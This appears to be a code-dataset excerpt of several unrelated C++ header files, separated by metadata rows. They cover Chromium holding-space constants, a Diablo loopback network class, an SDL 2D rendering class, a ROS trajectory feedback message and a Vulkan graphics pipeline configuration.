kCopyImageToClipboard,
kHidePreviews,
kRemoveItem,
kPinItem,
kShowInFolder,
kShowPreviews,
kUnpinItem,
};
// View IDs.
constexpr int kHoldingSpaceDownloadsSectionHeaderId = 1;
constexpr int kHoldingSpaceFilesAppChipId = 2;
constexpr int kHoldingSpaceItemCheckmarkId = 3;
constexpr int kHoldingSpaceItemImageId = 4;
constexpr int kHoldingSpaceItemPinButtonId = 5;
constexpr int kHoldingSpacePinnedFilesBubbleId = 6;
constexpr int kHoldingSpaceRecentFilesBubbleId = 7;
constexpr int kHoldingSpaceScreenCapturePlayIconId = 8;
constexpr int kHoldingSpaceTrayDefaultIconId = 9;
constexpr int kHoldingSpaceTrayDropTargetOverlayId = 10;
constexpr int kHoldingSpaceTrayPreviewsIconId = 11;
// The maximum allowed age for files restored into the holding space model.
// Note that this is not enforced for pinned items.
constexpr base::TimeDelta kMaxFileAge = base::TimeDelta::FromDays(1);
// The maximum allowed number of downloads to display in holding space UI.
constexpr size_t kMaxDownloads = 2u;
// The maximum allowed number of screen captures to display in holding space UI.
constexpr size_t kMaxScreenCaptures = 3u;
// Mime type with wildcard which matches all image types.
constexpr char kMimeTypeImage[] = "image/*";
} // namespace ash
#endif // ASH_PUBLIC_CPP_HOLDING_SPACE_HOLDING_SPACE_CONSTANTS_H_
| 37.986667 | 80 | 0.826606 | [
"geometry",
"model"
] |
31158b45fc49f22336349be9767765e53c147c31 | 1,171 | h | C | Source/net/loopback.h | n-stefan/devilution | 5516b4ba03a06c6aaf302fcc4764b70f49d90051 | [
"Unlicense"
] | 43 | 2019-07-28T21:29:19.000Z | 2022-02-06T02:58:00.000Z | Source/net/loopback.h | n-stefan/devilution | 5516b4ba03a06c6aaf302fcc4764b70f49d90051 | [
"Unlicense"
] | null | null | null | Source/net/loopback.h | n-stefan/devilution | 5516b4ba03a06c6aaf302fcc4764b70f49d90051 | [
"Unlicense"
] | 15 | 2019-08-03T00:04:53.000Z | 2022-01-17T14:47:29.000Z | #pragma once
#include <string>
#include <deque>
#include "../diablo.h"
#include "abstract_net.h"
namespace net {
class loopback : public abstract_net {
private:
std::deque<std::vector<uint8_t>> message_queue;
std::vector<uint8_t> message_last;
const int plr_single = 0;
public:
void create(std::string addrstr, std::string passwd, uint32_t difficulty) override;
void join(std::string addrstr, std::string passwd) override;
bool SNetReceiveMessage(int* sender, char** data, int* size) override;
bool SNetSendMessage(int dest, void* data, unsigned int size) override;
bool SNetReceiveTurns(char** data, DWORD* size, DWORD* status) override;
bool SNetSendTurn(char* data, unsigned int size) override;
int SNetGetProviderCaps(struct _SNETCAPS* caps) override;
bool SNetRegisterEventHandler(event_type evtype, SEVTHANDLER func) override;
bool SNetUnregisterEventHandler(event_type evtype, SEVTHANDLER func) override;
bool SNetLeaveGame(int type) override;
bool SNetDropPlayer(int playerid, DWORD flags) override;
bool SNetGetOwnerTurnsWaiting(DWORD* turns) override;
bool SNetGetTurnsInTransit(int* turns) override;
};
} // namespace net
| 34.441176 | 85 | 0.768574 | [
"vector"
] |
3119380657a12732d1f275f7888508c002f62bde | 11,206 | h | C | src/sdl_libs/gpe_artist_sdl.h | Libertus-Lab/Game-Pencil-Engine | e173b127a7618de7deace7c59192a42fbc0dec02 | [
"MIT"
] | null | null | null | src/sdl_libs/gpe_artist_sdl.h | Libertus-Lab/Game-Pencil-Engine | e173b127a7618de7deace7c59192a42fbc0dec02 | [
"MIT"
] | null | null | null | src/sdl_libs/gpe_artist_sdl.h | Libertus-Lab/Game-Pencil-Engine | e173b127a7618de7deace7c59192a42fbc0dec02 | [
"MIT"
] | null | null | null | /*
gpe_artist_sdl.h
This file is part of:
GAME PENCIL ENGINE
https://www.pawbyte.com/gamepencilengine
Copyright (c) 2014-2021 Nathan Hurde, Chase Lee.
Copyright (c) 2014-2021 PawByte LLC.
Copyright (c) 2014-2021 Game Pencil Engine contributors ( Contributors Page )
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the “Software”), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
-Game Pencil Engine <https://www.pawbyte.com/gamepencilengine>
*/
#ifndef gpe_artist_sdl_h
#define gpe_artist_sdl_h
#include "../gpe/gpe_artist_base.h"
#include "../gpe/gpe_common_includes.h"
#include "../gpe/gpe_globals.h"
#include "../gpe/gpe_camera.h"
#include "../gpe/gpe_shared_resources.h"
#include "../other_libs/semath.h"
#include "gpe_renderer_sdl.h"
#include "sdl_surface_ex.h"
#include "gpe_texture_sdl.h"
#include "gpe_texture_target_sdl.h"
namespace gpe
{
const int render_points_giant_size = 6400000;
//The Master class to render things to textures/the screen
class artist_sdl: public artist_base
{
protected:
color * past_arc_color;
bool first_arc_in_frame;
int current_triangle;
SDL_Renderer * sdlRenderer;
renderer_system_sdl * gpeSDLRenderer;
texture_sdl * prerenderedSquare;
std::vector<texture_sdl * >prerenderedCircles;
std::vector<texture_sdl * >prerenderedCirclesOutlines;
SDL_Texture * geometry_texture;
shape_point2d triangle_midpoint;
SDL_FPoint line_render_points[ render_points_giant_size];
SDL_FRect rect_render_points[ render_points_giant_size];
SDL_Vertex geometry_render_points[ render_points_giant_size]; //Added for SDL_RenderGeometry from 2.0.18
int line_render_point_position;
int render_triangle_flatbottom( float x1, float y1, float x2, float y2, float x3, float y3 );
int render_triangle_flattop( float x1, float y1, float x2, float y2, float x3, float y3 );
public:
artist_sdl(renderer_system_sdl * aRenderer);
~artist_sdl();
void clear_render_points();
//Arc Rendering Functions
virtual void render_arc( float arc_x, float arc_y, float arc_radius, float start_angle, float end_angle, float arc_vertices );
virtual void render_arc_color( float arc_x, float arc_y,float arc_radius, float start_angle, float end_angle, float arc_vertices, color * render_color = NULL, int alpha_channel = 255 );
virtual void render_arc_width( float arc_x, float arc_y, float arc_radius, float line_width, float start_angle, float end_angle, float arc_vertices );
virtual void render_arc_width_color( float arc_x, float arc_y,float arc_radius, float line_width, float start_angle, float end_angle, float arc_vertices, color * render_color = NULL, int alpha_channel = 255 );
//Circle and SemiCircles and Ovals Rendering Functions
bool render_circle_filled( int x, int y, int rad);
bool render_circle_filled_color( int x, int y, int rad, color * render_color = NULL, int alpha_channel = 255 );
bool render_circle_outline( int x, int y, int rad );
bool render_circle_outline_color( int x, int y, int rad, color * render_color = NULL, int alpha_channel = 255);
bool render_oval( int x, int y, int w, int h, bool renderOutLine = false);
bool render_oval_color( int x, int y, int w, int h, color *render_color, int alpha_channel = 255, bool renderOutLine = false);
bool render_semi_circle( int x, int y, int rad, int direction = 0, bool renderOutLine = false);
bool render_semi_circle_color( int x, int y, int rad, int direction = 0, color *render_color = NULL, int alpha_channel = 255, bool renderOutLine = false);
//Gradients Rendering [ BEGIN ]
void render_gradient_circle( int radius, shape_rect * rendRect = NULL, color * render_color = NULL);
void render_gradient_horizontal( shape_rect * rendRect = NULL, color * render_color = NULL);
void render_gradient_vertical( shape_rect * rendRect = NULL, color * render_color = NULL);
//Gradients Rendering [ END ]
//Line Rendering [ BEGIN ]
void render_horizontal_line(int y, int x1, int x2);
void render_horizontal_line_color( int y, int x1, int x2, color *render_color, int alpha_channel = 255);
void render_line( int x1, int y1, int x2, int y2 );
void render_line_color( int x1, int y1, int x2, int y2, color *render_color, int alpha_channel = 255);
void render_line_capped( int x1, int y1, int x2, int y2, int line_width );
void render_line_capped_color( int x1, int y1, int x2, int y2, int line_width, color *render_color, int alpha_channel = 255);
void render_line_width( int x1, int y1, int x2, int y2, int line_width);
void render_line_width_color( int x1, int y1, int x2, int y2, int line_width, color *render_color, int alpha_channel = 255);
void render_vertical_line( int x, int y1, int y2);
void render_vertical_line_color( int x, int y1, int y2, color *render_color, int alpha_channel = 255);
//Line Rendering [ END ]
//Points Rendering [ BEGIN ]
void render_point( int x, int y);
void render_point_color( int x, int y, color *render_color, int alpha_channel = 255);
//Points Rendering [ END ]
//Rectangles Rendering [ BEGIN ]
void render_rect( shape_rect * rendRect,color * render_color,bool outline = false, int alpha_channel = 255);
void render_rectangle( int x1, int y1, int x2, int y2, color *render_color,bool outline = false, int alpha_channel = 255);
void render_square( int x, int y, int squareSize, color *render_color,bool outline = false, int alpha_channel = 255);
void render_rotated_rectangle(int get_center(), int yCenter, int w, int h, int angle, color * render_color = NULL, int alpha_channel = 255);
//Rectangles Rendering [ END ]
//Roundrects Rendering [ BEGIN ]
void render_roundrect_filled(int x1, int y1, int x2, int y2);
void render_roundrect_filled_radius(int x1, int y1, int x2, int y2, int rad);
void render_roundrect_filled_color( int x1, int y1,int x2, int y2,color * render_color = NULL, int alpha_channel = 255);
void render_roundrect_filled_color_radius( int x1, int y1,int x2, int y2, int rad, color * render_color = NULL, int alpha_channel = 255);
void render_roundrect_outline(int x1, int y1, int x2, int y2);
void render_roundrect_outline_radius(int x1, int y1, int x2, int y2, int rad);
void render_roundrect_outline_color( int x1, int y1,int x2, int y2, color * render_color = NULL, int alpha_channel = 255);
void render_roundrect_outline_color_radius( int x1, int y1,int x2, int y2, int rad,color * render_color = NULL, int alpha_channel = 255);
//Rectangles Rendering [ END ]
//Triangle Rendering [ BEGIN ]
void render_triangle( shape_triangle2d * tri );
void render_triangle_color( shape_triangle2d * tri, color * render_color = NULL, int alpha_channel = 255 );
void render_triangle_coords( int x1, int y1, int x2, int y2, int x3, int y3);
void render_triangle_color_coords( int x1, int y1, int x2, int y2, int x3, int y3, color * render_color = NULL, int alpha_channel = 255 );
void render_triangle_outline( shape_triangle2d * tri, int line_width = 1);
void render_triangle_outline_color( shape_triangle2d * tri, color * render_color = NULL, int alpha_channel = 255,int line_width = 1);
void render_triangle_outline_coords( int x1, int y1, int x2, int y2, int x3, int y3, int line_width = 1);
void render_triangle_outline_color_coords( int x1, int y1, int x2, int y2, int x3, int y3, color * render_color = NULL, int alpha_channel = 255,int line_width = 1);
void render_triangle_gemoetry( shape_triangle2d * tri );
void render_triangle_gemoetry_color( shape_triangle2d * tri, color * render_color = NULL, int alpha_channel = 255 );
void render_triangle_gemoetry_coords( int x1, int y1, int x2, int y2, int x3, int y3);
void render_triangle_gemoetry_color_coords( int x1, int y1, int x2, int y2, int x3, int y3, color * render_color = NULL, int alpha_channel = 255 );
//Triangle Rendering [ END ]
//Color / blend related functions
void set_color( color * color);
void set_color( int r, int g, int b );
void set_render_alpha( int alpha_new = 255);
void set_line_width( int new_width = 1);
void set_artist_blend_mode( int blend_mode_new );
//Render Mode Related Functions [ END ]
//Other setters [ END ]
bool enable_simple_geometry(); //enables simple geometry, defaulting triangles, circles to use SDL_RenderGeometry and enables other polygonal rendering(hexagons, octogons, etc)
bool disable_simple_geometry();//disables simple geometry, defaulting to render pre-rendered circles, line based triangles and disables polygonal rendering(hexagons, octogons, etc)
//Other setters [ END ]
//Geometry rendering [ BEGIN]
bool begin_geometric_shape();
bool end_geometric_shape();
//Geometry rendering [ END ]
//Lighting Overlay [ BEGIN ]
void render_ligting_overlay( int x, int y);
void render_ligting_overlay_scaled( int x, int y, float scale_size);
void resize_ligting_overlay( int w, int h);
void switch_ligting_overlay( bool on = true );
//Lighting Overlay [ END ]
};
}
#endif //gpe_artist_sdl_h
| 58.364583 | 224 | 0.665447 | [
"geometry",
"render",
"vector"
] |
312155edb38e7789662d05f3d45c05a57f4cd40a | 4,082 | h | C | include/mynteyed/stubs/types_calib.h | luismesas/MYNT-EYE-D-SDK | 95d1c0329eb763b9275f6e69ce5eeac0a5e7464b | [
"Apache-2.0"
] | 1 | 2019-04-14T16:50:29.000Z | 2019-04-14T16:50:29.000Z | include/mynteyed/stubs/types_calib.h | luismesas/MYNT-EYE-D-SDK | 95d1c0329eb763b9275f6e69ce5eeac0a5e7464b | [
"Apache-2.0"
] | null | null | null | include/mynteyed/stubs/types_calib.h | luismesas/MYNT-EYE-D-SDK | 95d1c0329eb763b9275f6e69ce5eeac0a5e7464b | [
"Apache-2.0"
] | 1 | 2021-12-30T03:21:28.000Z | 2021-12-30T03:21:28.000Z | // Copyright 2018 Slightech Co., Ltd. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#ifndef MYNTEYE_STUBS_TYPES_CALIB_H_
#define MYNTEYE_STUBS_TYPES_CALIB_H_
#pragma once
#include <ostream>
#include "mynteyed/stubs/global.h"
MYNTEYE_BEGIN_NAMESPACE
/**
* @ingroup calibration
* Camera intrinsics: size, coeffs and camera matrix.
*/
struct MYNTEYE_API CameraIntrinsics {
/** The width of the image in pixels */
std::uint16_t width;
/** The height of the image in pixels */
std::uint16_t height;
/** The focal length of the image plane, as a multiple of pixel width */
double fx;
/** The focal length of the image plane, as a multiple of pixel height */
double fy;
/** The horizontal coordinate of the principal point of the image */
double cx;
/** The vertical coordinate of the principal point of the image */
double cy;
/** The distortion coefficients: k1,k2,p1,p2,k3 */
double coeffs[5];
/** 3x4 projection matrix in the (rectified) coordinate systems
* left: fx' cx' fy' cy' 1
* right: fx' cx' tx fy' cy' 1
* */
double p[12];
/**
* 3x3 rectification transform (rotation matrix) for the left camera.
*/
double r[9];
};
MYNTEYE_API
std::ostream &operator<<(std::ostream &os, const CameraIntrinsics &in);
/**
* @ingroup calibration
* Camera intrinsics: size, coeffs and camera matrix.
*/
struct MYNTEYE_API StreamIntrinsics {
CameraIntrinsics left;
CameraIntrinsics right;
};
/**
* @ingroup calibration
* IMU intrinsics: scale, drift and variances.
*/
struct MYNTEYE_API ImuIntrinsics {
/**
* Scale matrix.
* \code
* Scale X cross axis cross axis
* cross axis Scale Y cross axis
* cross axis cross axis Scale Z
* \endcode
*/
double scale[3][3];
/** Assembly error [3][3] */
double assembly[3][3];
/* Zero-drift: X, Y, Z */
double drift[3];
/** Noise density variances */
double noise[3];
/** Random walk variances */
double bias[3];
// std::uint8_t reserve[100];
/** Temperature drift
* \code
* 0 - Constant value
* 1 - Slope
* \endcode
*/
double x[2];
double y[2];
double z[2];
};
MYNTEYE_API
std::ostream &operator<<(std::ostream &os, const ImuIntrinsics &in);
/**
* @ingroup calibration
* Motion intrinsics, including accelerometer and gyroscope.
*/
struct MYNTEYE_API MotionIntrinsics {
ImuIntrinsics accel; /**< Accelerometer intrinsics */
ImuIntrinsics gyro; /**< Gyroscope intrinsics */
};
MYNTEYE_API
std::ostream &operator<<(std::ostream &os, const MotionIntrinsics &in);
/**
* @ingroup calibration
* Extrinsics, represent how the different datas are connected.
*/
struct MYNTEYE_API Extrinsics {
double rotation[3][3]; /**< Rotation matrix left camera to right camera*/
double translation[3]; /**< Translation vector left camera to right camera*/
/**
* Inverse this extrinsics.
* @return the inversed extrinsics.
*/
Extrinsics Inverse() const {
return {{{rotation[0][0], rotation[1][0], rotation[2][0]},
{rotation[0][1], rotation[1][1], rotation[2][1]},
{rotation[0][2], rotation[1][2], rotation[2][2]}},
{-translation[0], -translation[1], -translation[2]}};
}
};
MYNTEYE_API
std::ostream &operator<<(std::ostream &os, const Extrinsics &ex);
/**
* @ingroup calibration
* Stream extrinsics.
*/
using StreamExtrinsics = Extrinsics;
/**
* @ingroup calibration
* Motion extrinsics.
*/
using MotionExtrinsics = Extrinsics;
MYNTEYE_END_NAMESPACE
#endif // MYNTEYE_STUBS_TYPES_CALIB_H_
| 26 | 78 | 0.678099 | [
"vector",
"transform"
] |
3122a172d0578f55db38e253cf3fefcca0e3d85d | 9,357 | h | C | elikos_path_planning_stack/elikos_action_controller/msg_gen/cpp/include/action_controller/MultiDofFollowJointTrajectoryFeedback.h | elikos/elikos_ros | 1318a62f7a7ddfdde106c9709b7c98706e20f117 | [
"MIT"
] | 1 | 2019-02-24T08:29:06.000Z | 2019-02-24T08:29:06.000Z | elikos_path_planning_stack/elikos_action_controller/msg_gen/cpp/include/action_controller/MultiDofFollowJointTrajectoryFeedback.h | elikos/elikos_ros | 1318a62f7a7ddfdde106c9709b7c98706e20f117 | [
"MIT"
] | null | null | null | elikos_path_planning_stack/elikos_action_controller/msg_gen/cpp/include/action_controller/MultiDofFollowJointTrajectoryFeedback.h | elikos/elikos_ros | 1318a62f7a7ddfdde106c9709b7c98706e20f117 | [
"MIT"
] | 1 | 2019-02-12T23:06:13.000Z | 2019-02-12T23:06:13.000Z | /* Auto-generated by genmsg_cpp for file /home/alessio/RosWorkspace/sandbox/action_controller/msg/MultiDofFollowJointTrajectoryFeedback.msg */
#ifndef ACTION_CONTROLLER_MESSAGE_MULTIDOFFOLLOWJOINTTRAJECTORYFEEDBACK_H
#define ACTION_CONTROLLER_MESSAGE_MULTIDOFFOLLOWJOINTTRAJECTORYFEEDBACK_H
#include <string>
#include <vector>
#include <map>
#include <ostream>
#include "ros/serialization.h"
#include "ros/builtin_message_traits.h"
#include "ros/message_operations.h"
#include "ros/time.h"
#include "ros/macros.h"
#include "ros/assert.h"
#include "std_msgs/Header.h"
#include "trajectory_msgs/MultiDOFJointTrajectoryPoint.h"
namespace action_controller
{
template <class ContainerAllocator>
struct MultiDofFollowJointTrajectoryFeedback_ {
typedef MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> Type;
MultiDofFollowJointTrajectoryFeedback_()
: header()
, joint_names()
, desired()
, actual()
, error()
{
}
MultiDofFollowJointTrajectoryFeedback_(const ContainerAllocator& _alloc)
: header(_alloc)
, joint_names(_alloc)
, desired(_alloc)
, actual(_alloc)
, error(_alloc)
{
}
typedef ::std_msgs::Header_<ContainerAllocator> _header_type;
::std_msgs::Header_<ContainerAllocator> header;
typedef std::vector<std::basic_string<char, std::char_traits<char>, typename ContainerAllocator::template rebind<char>::other > , typename ContainerAllocator::template rebind<std::basic_string<char, std::char_traits<char>, typename ContainerAllocator::template rebind<char>::other > >::other > _joint_names_type;
std::vector<std::basic_string<char, std::char_traits<char>, typename ContainerAllocator::template rebind<char>::other > , typename ContainerAllocator::template rebind<std::basic_string<char, std::char_traits<char>, typename ContainerAllocator::template rebind<char>::other > >::other > joint_names;
typedef ::trajectory_msgs::MultiDOFJointTrajectoryPoint_<ContainerAllocator> _desired_type;
::trajectory_msgs::MultiDOFJointTrajectoryPoint_<ContainerAllocator> desired;
typedef ::trajectory_msgs::MultiDOFJointTrajectoryPoint_<ContainerAllocator> _actual_type;
::trajectory_msgs::MultiDOFJointTrajectoryPoint_<ContainerAllocator> actual;
typedef ::trajectory_msgs::MultiDOFJointTrajectoryPoint_<ContainerAllocator> _error_type;
::trajectory_msgs::MultiDOFJointTrajectoryPoint_<ContainerAllocator> error;
typedef boost::shared_ptr< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> > Ptr;
typedef boost::shared_ptr< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> const> ConstPtr;
boost::shared_ptr<std::map<std::string, std::string> > __connection_header;
}; // struct MultiDofFollowJointTrajectoryFeedback
typedef ::action_controller::MultiDofFollowJointTrajectoryFeedback_<std::allocator<void> > MultiDofFollowJointTrajectoryFeedback;
typedef boost::shared_ptr< ::action_controller::MultiDofFollowJointTrajectoryFeedback> MultiDofFollowJointTrajectoryFeedbackPtr;
typedef boost::shared_ptr< ::action_controller::MultiDofFollowJointTrajectoryFeedback const> MultiDofFollowJointTrajectoryFeedbackConstPtr;
template<typename ContainerAllocator>
std::ostream& operator<<(std::ostream& s, const ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> & v)
{
ros::message_operations::Printer< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> >::stream(s, "", v);
return s;}
} // namespace action_controller
namespace ros
{
namespace message_traits
{
template<class ContainerAllocator> struct IsMessage< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> > : public TrueType {};
template<class ContainerAllocator> struct IsMessage< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> const> : public TrueType {};
template<class ContainerAllocator>
struct MD5Sum< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> > {
static const char* value()
{
return "4d0c4cf9e9eeebe573320d2109a20899";
}
static const char* value(const ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> &) { return value(); }
static const uint64_t static_value1 = 0x4d0c4cf9e9eeebe5ULL;
static const uint64_t static_value2 = 0x73320d2109a20899ULL;
};
template<class ContainerAllocator>
struct DataType< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> > {
static const char* value()
{
return "action_controller/MultiDofFollowJointTrajectoryFeedback";
}
static const char* value(const ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> &) { return value(); }
};
template<class ContainerAllocator>
struct Definition< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> > {
static const char* value()
{
return "# ====== DO NOT MODIFY! AUTOGENERATED FROM AN ACTION DEFINITION ======\n\
Header header\n\
string[] joint_names\n\
trajectory_msgs/MultiDOFJointTrajectoryPoint desired\n\
trajectory_msgs/MultiDOFJointTrajectoryPoint actual\n\
trajectory_msgs/MultiDOFJointTrajectoryPoint error\n\
\n\
\n\
================================================================================\n\
MSG: std_msgs/Header\n\
# Standard metadata for higher-level stamped data types.\n\
# This is generally used to communicate timestamped data \n\
# in a particular coordinate frame.\n\
# \n\
# sequence ID: consecutively increasing ID \n\
uint32 seq\n\
#Two-integer timestamp that is expressed as:\n\
# * stamp.secs: seconds (stamp_secs) since epoch\n\
# * stamp.nsecs: nanoseconds since stamp_secs\n\
# time-handling sugar is provided by the client library\n\
time stamp\n\
#Frame this data is associated with\n\
# 0: no frame\n\
# 1: global frame\n\
string frame_id\n\
\n\
================================================================================\n\
MSG: trajectory_msgs/MultiDOFJointTrajectoryPoint\n\
geometry_msgs/Transform[] transforms\n\
duration time_from_start\n\
\n\
================================================================================\n\
MSG: geometry_msgs/Transform\n\
# This represents the transform between two coordinate frames in free space.\n\
\n\
Vector3 translation\n\
Quaternion rotation\n\
\n\
================================================================================\n\
MSG: geometry_msgs/Vector3\n\
# This represents a vector in free space. \n\
\n\
float64 x\n\
float64 y\n\
float64 z\n\
================================================================================\n\
MSG: geometry_msgs/Quaternion\n\
# This represents an orientation in free space in quaternion form.\n\
\n\
float64 x\n\
float64 y\n\
float64 z\n\
float64 w\n\
\n\
";
}
static const char* value(const ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> &) { return value(); }
};
template<class ContainerAllocator> struct HasHeader< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> > : public TrueType {};
template<class ContainerAllocator> struct HasHeader< const ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> > : public TrueType {};
} // namespace message_traits
} // namespace ros
namespace ros
{
namespace serialization
{
template<class ContainerAllocator> struct Serializer< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> >
{
template<typename Stream, typename T> inline static void allInOne(Stream& stream, T m)
{
stream.next(m.header);
stream.next(m.joint_names);
stream.next(m.desired);
stream.next(m.actual);
stream.next(m.error);
}
ROS_DECLARE_ALLINONE_SERIALIZER;
}; // struct MultiDofFollowJointTrajectoryFeedback_
} // namespace serialization
} // namespace ros
namespace ros
{
namespace message_operations
{
template<class ContainerAllocator>
struct Printer< ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> >
{
template<typename Stream> static void stream(Stream& s, const std::string& indent, const ::action_controller::MultiDofFollowJointTrajectoryFeedback_<ContainerAllocator> & v)
{
s << indent << "header: ";
s << std::endl;
Printer< ::std_msgs::Header_<ContainerAllocator> >::stream(s, indent + " ", v.header);
s << indent << "joint_names[]" << std::endl;
for (size_t i = 0; i < v.joint_names.size(); ++i)
{
s << indent << " joint_names[" << i << "]: ";
Printer<std::basic_string<char, std::char_traits<char>, typename ContainerAllocator::template rebind<char>::other > >::stream(s, indent + " ", v.joint_names[i]);
}
s << indent << "desired: ";
s << std::endl;
Printer< ::trajectory_msgs::MultiDOFJointTrajectoryPoint_<ContainerAllocator> >::stream(s, indent + " ", v.desired);
s << indent << "actual: ";
s << std::endl;
Printer< ::trajectory_msgs::MultiDOFJointTrajectoryPoint_<ContainerAllocator> >::stream(s, indent + " ", v.actual);
s << indent << "error: ";
s << std::endl;
Printer< ::trajectory_msgs::MultiDOFJointTrajectoryPoint_<ContainerAllocator> >::stream(s, indent + " ", v.error);
}
};
} // namespace message_operations
} // namespace ros
#endif // ACTION_CONTROLLER_MESSAGE_MULTIDOFFOLLOWJOINTTRAJECTORYFEEDBACK_H
| 40.331897 | 315 | 0.744256 | [
"vector",
"transform"
] |
312396859dd9601773e4f675f093e427dc5c9f78 | 13,238 | h | C | src/core/graphics/GraphicsPipeline.h | Kelan0/WorldEngine | e76e7ff47278e837f4d1b9216773dd79eeee1b52 | [
"MIT"
] | null | null | null | src/core/graphics/GraphicsPipeline.h | Kelan0/WorldEngine | e76e7ff47278e837f4d1b9216773dd79eeee1b52 | [
"MIT"
] | null | null | null | src/core/graphics/GraphicsPipeline.h | Kelan0/WorldEngine | e76e7ff47278e837f4d1b9216773dd79eeee1b52 | [
"MIT"
] | null | null | null |
#ifndef WORLDENGINE_GRAPHICSPIPELINE_H
#define WORLDENGINE_GRAPHICSPIPELINE_H
#include "core/core.h"
#define ALWAYS_RELOAD_SHADERS
class RenderPass;
class Buffer;
class DescriptorSetLayout;
struct BlendMode {
vk::BlendFactor src = vk::BlendFactor::eOne;
vk::BlendFactor dst = vk::BlendFactor::eZero;
vk::BlendOp op = vk::BlendOp::eAdd;
};
struct AttachmentBlendState {
bool blendEnable = false;
BlendMode colourBlendMode;
BlendMode alphaBlendMode;
vk::ColorComponentFlags colourWriteMask = vk::ColorComponentFlagBits::eR | vk::ColorComponentFlagBits::eG | vk::ColorComponentFlagBits::eB | vk::ColorComponentFlagBits::eA;
AttachmentBlendState(const bool& blendEnable, const vk::ColorComponentFlags& colourWriteMask);
AttachmentBlendState(const bool& blendEnable, const uint32_t& colourWriteMask);
AttachmentBlendState() = default;
void setColourBlendMode(const BlendMode& blendMode);
void setColourBlendMode(const vk::BlendFactor& src, const vk::BlendFactor& dst, const vk::BlendOp& op);
void setAlphaBlendMode(const BlendMode& blendMode);
void setAlphaBlendMode(const vk::BlendFactor& src, const vk::BlendFactor& dst, const vk::BlendOp& op);
};
struct DepthBias {
float constant = 0.0F;
float slope = 0.0F;
float clamp = 0.0F;
};
struct GraphicsPipelineConfiguration {
std::weak_ptr<vkr::Device> device;
vk::Viewport viewport;
std::optional<std::string> vertexShader;
std::optional<std::string> fragmentShader;
std::vector<vk::VertexInputBindingDescription> vertexInputBindings;
std::vector<vk::VertexInputAttributeDescription> vertexInputAttributes;
std::vector<vk::DescriptorSetLayout> descriptorSetLayouts;
vk::PolygonMode polygonMode = vk::PolygonMode::eFill;
vk::CullModeFlags cullMode = vk::CullModeFlagBits::eBack;
DepthBias depthBias;
bool depthBiasEnable = false;
vk::FrontFace frontFace = vk::FrontFace::eClockwise;
vk::PrimitiveTopology primitiveTopology = vk::PrimitiveTopology::eTriangleList;
std::vector<AttachmentBlendState> attachmentBlendStates;
std::weak_ptr<RenderPass> renderPass;
std::unordered_map<vk::DynamicState, bool> dynamicStates;
void setViewport(const vk::Viewport& viewport);
void setViewport(const glm::vec2& size, const glm::vec2& offset = glm::vec2(0.0F, 0.0F), const float& minDepth = 0.0F, const float& maxDepth = 1.0F);
void setViewport(const float& width, const float& height, const float& x = 0.0F, const float& y = 0.0F, const float& minDepth = 0.0F, const float& maxDepth = 1.0F);
void addVertexInputBinding(const vk::VertexInputBindingDescription& vertexInputBinding);
void addVertexInputBinding(const uint32_t& binding, const uint32_t& stride, const vk::VertexInputRate& vertexInputRate);
void setVertexInputBindings(const vk::ArrayProxy<const vk::VertexInputBindingDescription>& vertexInputBindings);
void addVertexInputAttribute(const vk::VertexInputAttributeDescription& vertexInputAttribute);
void addVertexInputAttribute(const uint32_t& location, const uint32_t& binding, const vk::Format& format, const uint32_t& offset);
void setVertexInputAttribute(const vk::ArrayProxy<const vk::VertexInputAttributeDescription>& vertexInputAttributes);
void addDescriptorSetLayout(const vk::DescriptorSetLayout& descriptorSetLayout);
void addDescriptorSetLayout(const DescriptorSetLayout* descriptorSetLayout);
void setDescriptorSetLayouts(const vk::ArrayProxy<const vk::DescriptorSetLayout>& descriptorSetLayouts);
void setDescriptorSetLayouts(const vk::ArrayProxy<const DescriptorSetLayout*>& descriptorSetLayouts);
void setDynamicState(const vk::DynamicState& dynamicState, const bool& isDynamic);
void setDynamicStates(const vk::ArrayProxy<const vk::DynamicState>& dynamicState, const bool& isDynamic);
void setAttachmentBlendState(const size_t& attachmentIndex, const AttachmentBlendState& attachmentBlendState);
};
class GraphicsPipeline {
NO_COPY(GraphicsPipeline);
private:
